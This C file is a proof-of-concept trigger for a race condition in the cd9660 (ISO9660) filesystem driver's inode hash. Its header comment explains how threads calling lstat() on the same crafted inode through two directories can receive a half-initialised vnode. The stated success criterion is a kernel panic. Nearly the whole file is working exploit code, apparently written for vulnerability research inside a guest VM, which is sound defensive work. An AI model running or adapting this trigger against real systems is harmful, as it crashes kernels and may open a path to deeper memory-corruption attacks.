/*
 * DF-3208 -- cd9660 ihash publish-before-validate race trigger.
 *
 * Two threads hammer lstat() of the SAME crafted ino through TWO DIFFERENT
 * directories (X/PWN and Y/PWN) so the per-parent vnode lock does not
 * serialize them.  Each failed attempt:
 *
 *   loser thread: cd9660_ihashget() -> NULL -> getnewvnode -> kmalloc ->
 *                 cd9660_ihashins() [node now globally visible] ->
 *                 bread() of the bogus extent -> EIO -> vx_put()
 *                 [node STILL in the hash; only a concurrent holder of a
 *                  vget() reference prevents the synchronous reclaim]
 *
 * The other thread, if it enters cd9660_ihashget() while the creator is
 * between ihashins() and vx_put() (the creator blocks/drops the mp_token
 * LWKT token in bread/getblk or is preempted), vget()s that node, blocks
 * on the VX lock, wakes when the creator fails, and RECEIVES THE ORPHANED
 * HALF-INITIALIZED VNODE AS SUCCESS.  The subsequent VOP_GETATTR in
 * lstat() dereferences ip->i_mnt == NULL -> kernel page fault -> panic.
 *
 * success criterion: guest kernel panic (Fatal trap 12, fault address
 * ~0x30, in cd9660_getattr / vop_compat_nresolve path), or a returned
 * lstat()==0 (would also prove the zombie handoff, but the panic comes
 * first).
 */
#include <sys/types.h>
#include <sys/stat.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <pthread.h>

static volatile int go = 0;
static long iters = 2000000;
static int nthreads = 2;

struct targ {
	long id;
	char path[512];
	long ok, err, again;
};

static void *
hammer(void *v)
{
	struct targ *t = v;
	struct stat st;
	long i;

	while (!go)
		usleep(1000);

	for (i = 0; i < iters; i++) {
		if (lstat(t->path, &st) == 0)
			t->ok++;
		else
			t->err++;
		if ((i & 0xFFFFF) == 0xFFFFF)
			fprintf(stderr, "t%ld: %ld iters ok=%ld err=%ld\n",
				t->id, i, t->ok, t->err);
	}
	return NULL;
}

int
main(int argc, char **argv)
{
	struct targ *targs;
	pthread_t *tids;
	char base[512];
	int i, rc;
	long total_ok = 0, total_err = 0;

	if (argc < 2) {
		fprintf(stderr, "usage: trigger <mountdir> [iters] [threads]\n");
		exit(2);
	}
	snprintf(base, sizeof(base), "%s", argv[1]);
	if (argc > 2)
		iters = atol(argv[2]);
	if (argc > 3)
		nthreads = atoi(argv[3]);
	if (nthreads < 2)
		nthreads = 2;

	targs = calloc(nthreads, sizeof(*targs));
	tids = calloc(nthreads, sizeof(*tids));

	/* alternate threads over X/PWN and Y/PWN (same ino, different dirs) */
	for (i = 0; i < nthreads; i++) {
		targs[i].id = i;
		snprintf(targs[i].path, sizeof(targs[i].path), "%s/%s/PWN",
			 base, (i & 1) ? "Y" : "X");
		fprintf(stderr, "thread %d -> %s\n", i, targs[i].path);
		rc = pthread_create(&tids[i], NULL, hammer, &targs[i]);
		if (rc) {
			fprintf(stderr, "pthread_create: %s\n", strerror(rc));
			exit(1);
		}
	}

	go = 1;
	for (i = 0; i < nthreads; i++)
		pthread_join(tids[i], NULL);

	for (i = 0; i < nthreads; i++) {
		total_ok += targs[i].ok;
		total_err += targs[i].err;
	}
	printf("done: %ld iters/thread, ok=%ld err=%ld\n",
	       iters, total_ok, total_err);
	printf("RESULT: no-hit (no zombie handoff observed)\n");
	return 0;
}
